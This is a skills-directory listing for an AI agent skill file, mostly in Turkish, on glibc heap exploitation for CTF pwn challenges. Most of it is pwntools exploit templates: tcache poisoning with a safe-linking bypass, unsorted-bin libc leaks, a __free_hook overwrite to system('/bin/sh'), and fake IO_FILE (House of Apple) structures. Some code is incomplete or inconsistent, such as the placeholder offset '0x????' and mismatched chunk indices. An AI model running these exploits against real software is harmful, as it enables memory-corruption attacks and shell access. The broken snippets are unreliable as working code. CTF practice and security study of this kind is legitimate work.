Skip to content
Back to skills

Heap Exploit

ASecurity

Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP

  • 4 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 8, 2026
ai-agentspythonrustgobashdockergit

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill heap-exploit --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Heap Exploit?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Heap Exploit
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-heap-exploit/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-heap-exploit)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: heap-exploit
description: Glibc heap exploitation — tcache poisoning, unsorted bin leak, IO_FILE FSOP
tags: [ctf, pwn, heap, tcache, unsorted-bin, io-file, fsop, glibc, libc-leak]
triggers:
  - "heap challenge"
  - "malloc free"
  - "tcache"
  - "use after free"
  - "double free"
  - "unsorted bin"
  - "glibc 2.35"
  - "IO_wfile_jumps"
difficulty: hard
category: pwn
solved_challenges:
  - "picoCTF 2024 - high-frequency-troubles (tcache + IO_FILE FSOP, glibc 2.35)"
  - "PlaidCTF 2023 - baby heap (Rust/Wine, vector layout overwrite)"
adapted_for: fetih
---

# Heap Exploitation — Glibc

## Heap Primitives (Chunk Layout ve Bin'ler)

### Chunk Yapısı (64-bit glibc)

```
  chunk   → ┌──────────────────────┐
             │  prev_size (8 byte)  │  ← önceki chunk serbest ise aktif
             │  size | flags (8 b)  │  ← P=prev_in_use, M=mmap, A=non-main
  mem     → ├──────────────────────┤
             │  fd pointer (8 byte) │  ← serbest chunk: bin'e bağlı
             │  bk pointer (8 byte) │
             │  ...kullanıcı veri...│
  nextchunk→ └──────────────────────┘
```

Minimum chunk boyutu: **32 byte** (glibc 64-bit).
Chunk boyutu her zaman **16'nın katı** olmalı.

### Bin Türleri

| Bin        | Boyut (64-bit)    | glibc versiyonu | Not                         |
|------------|-------------------|-----------------|-----------------------------|
| tcache     | 0x20 – 0x410      | >= 2.26         | per-thread, 7 adet limit    |
| fastbin    | 0x20 – 0x80       | hep             | LIFO, single-linked         |
| smallbin   | 0x20 – 0x3f0      | hep             | double-linked               |
| largebin   | >= 0x400          | hep             | double-linked + size list   |
| unsortedbin| herhangi          | hep             | libc içi buffer, büyük leak |

---

## Tcache Poisoning Şablonu

glibc 2.32+ sürümünde tcache fd pointer'ı **XOR şifreli** (safe-linking):

```
fd_stored = fd_real ^ (chunk_addr >> 12)
```

Bunu bypass etmek için heap adresini bilmen gerekir.

```python
#!/usr/bin/env python3
# tcache_poison.py — Use-After-Free / Double-Free ile tcache poisoning

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

# ── Menü yardımcı fonksiyonlar ───────────────────────────────────────────────
def alloc(size, data=b"A"):
    io.sendlineafter(b"choice: ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"choice: ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())

def show(idx):
    io.sendlineafter(b"choice: ", b"3")
    io.sendlineafter(b"index: ", str(idx).encode())
    return io.recvline()

# ── Aşama 1: Heap Adresi Leak (glibc >= 2.32 için gerekli) ──────────────────
# tcache fd = (next_chunk_addr >> 12) ^ chunk_addr
# İlk serbest chunk fd'si: 0 ^ (heap >> 12) = heap >> 12

alloc(0x30, b"AAAA")   # chunk 0
free(0)                 # tcache'e at

# UAF varsa chunk 0'ı hala okuyabiliriz
raw = show(0)
heap_leak = u64(raw[:8].ljust(8, b"\x00"))
heap_base  = heap_leak << 12   # safe-linking decode
log.success(f"heap base = {hex(heap_base)}")

# ── Aşama 2: Libc Leak (unsorted bin üzerinden) ──────────────────────────────
# Tcache + fastbin dolu değilse büyük chunk unsorted bin'e gider

alloc(0x420, b"B" * 8)  # büyük chunk (tcache'e gitmesin, 0x410 üstü)
alloc(0x30,  b"guard")  # alt chunk — top chunk ile birleşmesin
free(1)                  # unsorted bin'e gider

raw2 = show(1)           # fd = unsorted bin başı = main_arena + offset
arena_leak = u64(raw2[:8].ljust(8, b"\x00"))
libc.address = arena_leak - libc.sym["main_arena"] - 96
log.success(f"libc base = {hex(libc.address)}")

# ── Aşama 3: __free_hook veya __malloc_hook Overwrite (glibc < 2.34) ────────
# glibc 2.34+ hook'lar kaldırıldı → IO_FILE FSOP kullan (aşağıya bak)

free_hook = libc.sym["__free_hook"]
system    = libc.sym["system"]

# Poisoned chunk: tcache fd'yi __free_hook'a yönlendir
# glibc 2.32+ safe-linking: fd = (heap >> 12) ^ target
def safe_link(heap_addr, target):
    return (heap_addr >> 12) ^ target

alloc(0x30, b"C" * 8)   # chunk 3
alloc(0x30, b"D" * 8)   # chunk 4

free(4)
free(3)   # tcache: 3 → 4 → NULL

# Chunk 3 UAF: fd'yi __free_hook'a yönlendir
corrupted_fd = safe_link(heap_base + 0x????, free_hook)  # heap_base + chunk 3 offset
# show(3) ile chunk 3 adresini öğren, sonra hesapla

io.sendlineafter(b"choice: ", b"4")   # edit / write primitive varsa
io.sendlineafter(b"index: ", b"3")
io.send(p64(corrupted_fd))

# Şimdi iki kez alloc et — ikincisi __free_hook bölgesine düşer
alloc(0x30, b"/bin/sh\x00")   # chunk 3'ü al
alloc(0x30, p64(system))      # __free_hook = system

# free("/bin/sh") → system("/bin/sh")
free(3 + 1)   # "/bin/sh" içeren chunk'ı serbest bırak

io.interactive()
```

---

## Unsorted Bin Libc Leak

```python
# Tek seferlik leak — UAF ile okuma primitive gerekli

# 1) 0x420+ boyutlu chunk ayır (tcache sınırı aşsın)
alloc(0x420)       # chunk A

# 2) Alt guard chunk ayır (top chunk ile birleşmesin)
alloc(0x30)        # chunk B (guard)

# 3) chunk A'yı serbest bırak → unsorted bin'e gider
free(0)            # chunk A → fd/bk = main_arena + 0x60 (ya da offset)

# 4) UAF ile chunk A'nın fd'sini oku
data = show(0)
arena_ptr = u64(data[:8].ljust(8, b"\x00"))

# 5) Offset'i bul
# gdb ile: p &main_arena, leaked değerden çıkar
ARENA_OFFSET = 0x1ecbe0   # glibc 2.35 örnek — versiyon bağlı!
libc.address = arena_ptr - ARENA_OFFSET
log.success(f"libc base = {hex(libc.address)}")
```

---

## IO_FILE FSOP — picoCTF hft Örneği (glibc 2.35)

glibc 2.34+ `__malloc_hook` / `__free_hook` kaldırıldı.
Alternatif: `_IO_FILE` yapısını taklit et, `_IO_flush_all_lockp` tetiklenince
`vtable->__overflow` üzerinden RIP kontrolü al.

### Sahte IO_FILE Yapısı

```python
# glibc 2.35 IO_FILE FSOP — stdout overwrite
# Kaynak: roderick01's House of Apple 2

FSOP_OFFSET = 0   # _IO_list_all - libc.address

def craft_fake_file(libc, rdi_val, rsi_val, rdx_val, func_ptr):
    """
    _IO_flush_all_lockp yolu:
    _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE
    vtable = _IO_wfile_jumps - 0x18 + bazı magic
    """
    IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
    setcontext     = libc.sym["setcontext"] + 61   # setcontext+61: rdi→rdx, jmp [rdx+0xa0]

    fake = flat({
        0x00: 0,                          # _flags (özel değer gerekebilir)
        0x28: 1,                          # _IO_write_ptr > _IO_write_base
        0x30: 0,                          # _IO_write_base
        0x38: rdi_val,                    # _IO_buf_base → rdi olarak geçer
        0xa0: func_ptr,                   # setcontext+61 için jump adresi
        0xc0: 0,                          # _mode = 0
        0xd8: IO_wfile_jumps - 0x18,     # vtable (magic offset)
        0xe0: rsi_val,                    # wide_data başı
        0xe8: rdx_val,
    }, length=0x100, filler=b"\x00")

    return fake

# Kullanım — stdout'u overwrite et:
stdout    = libc.sym["_IO_2_1_stdout_"]
fake_file = craft_fake_file(libc, next(libc.search(b"/bin/sh")), 0, 0, libc.sym["system"])

# Heap'teki write primitive ile stdout bölgesini yaz
# ...
```

### Basit FSOP Şablonu (stdout flag trick)

```python
# _IO_2_1_stdout_ flags alanını düzenle → fileno'yu oku → libc leak

stdout_addr = libc.sym["_IO_2_1_stdout_"]

# flags = 0xfbad1800 (okuma modu açık)
# _IO_write_base küçültülünce flush tetiklenir ve bellek sızar

fake_flags = 0xfbad1800
writes = {
    stdout_addr       : fake_flags,
    stdout_addr + 0x20: stdout_addr + 0x80,  # _IO_write_base = _IO_buf_base
    stdout_addr + 0x28: stdout_addr + 0x80,  # _IO_write_ptr
}

# Bu yazma sonrası next flush → libc adresleri stdout'a basılır
```

---

## pwntools Heap Debug Yardımcıları

```python
# pwndbg ile heap durumunu gör:
# (gdb) heap         → tüm chunk'lar
# (gdb) bins         → bin durumu
# (gdb) tcache       → tcache perthread yapısı
# (gdb) vis_heap_chunks → görsel chunk haritası

# pwntools ile malloc_chunk parse:
from pwn import *
libc = ELF("./libc.so.6")

# Heap adresini leak ettikten sonra chunk içeriğini oku:
def read_chunk(io, addr, size=0x40):
    # memory read primitive gerekli
    pass

# GDB attach (local debug):
if args.GDB:
    gdb.attach(io, gdbscript="""
        break *0x401234
        heap
        bins
        continue
    """)
```

---

## glibc Versiyon Tespiti

```bash
# 1) Sunucudaki libc'yi öğren
libc --version   # bağlantı varsa

# 2) ldd ile
ldd ./vuln
# linux-vdso.so.1 => ...
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6

# 3) strings ile
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release

# 4) Libc'yi uzak sunucudan çek (binary'de yüklü ise):
# patchelf --print-needed ./vuln → gereken libc adını gösterir

# 5) Online araç: libc.blukat.me
# Birden fazla sembol offset'i gir → libc versiyonunu bul
```

### Patchelf ile Yerel Libc Kullan

```bash
# Belirli bir libc ile çalıştır (docker imajından çekilen)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln
./vuln   # artık yerel libc.so.6 ve ld kullanır
```

---

## Yaygın Tuzaklar

### 1. Guard Chunk Unutmak
```python
# Büyük chunk free edince top_chunk ile birleşmemeli
alloc(0x420, b"leak chunk")
alloc(0x30, b"GUARD")    # bu olmadan unsorted bin'e gitmez, top_chunk'a katılır
free(0)
```

### 2. Tcache Sayacı (glibc >= 2.26)
Her boyut için tcache'de max 7 chunk var. 8. free → unsorted/fastbin'e gider.

```python
# Tcache'i doldur, 8. free unsorted bin'e gitsin:
for _ in range(7):
    alloc(0x30)
for i in range(7):
    free(i)
# Şimdi 8. chunk free → fastbin veya unsorted bin (boyuta göre)
```

### 3. Safe-Linking (glibc >= 2.32)
Tcache fd/bk XOR şifreli. Heap leak olmadan poisoning çalışmaz.
Heap adresini UAF ile sızdır, sonra `(addr >> 12) ^ target` hesapla.

### 4. glibc 2.34+ Hook'lar Yok
`__malloc_hook`, `__free_hook`, `__realloc_hook` kaldırıldı.
Alternatifler:
- **IO_FILE FSOP** (House of Apple, House of Cat)
- **exit_funcs** overwrite (setjmp/longjmp tablosu)
- **stack pivot + ROP** (setcontext gadget)

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 85a65cfd16586727
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…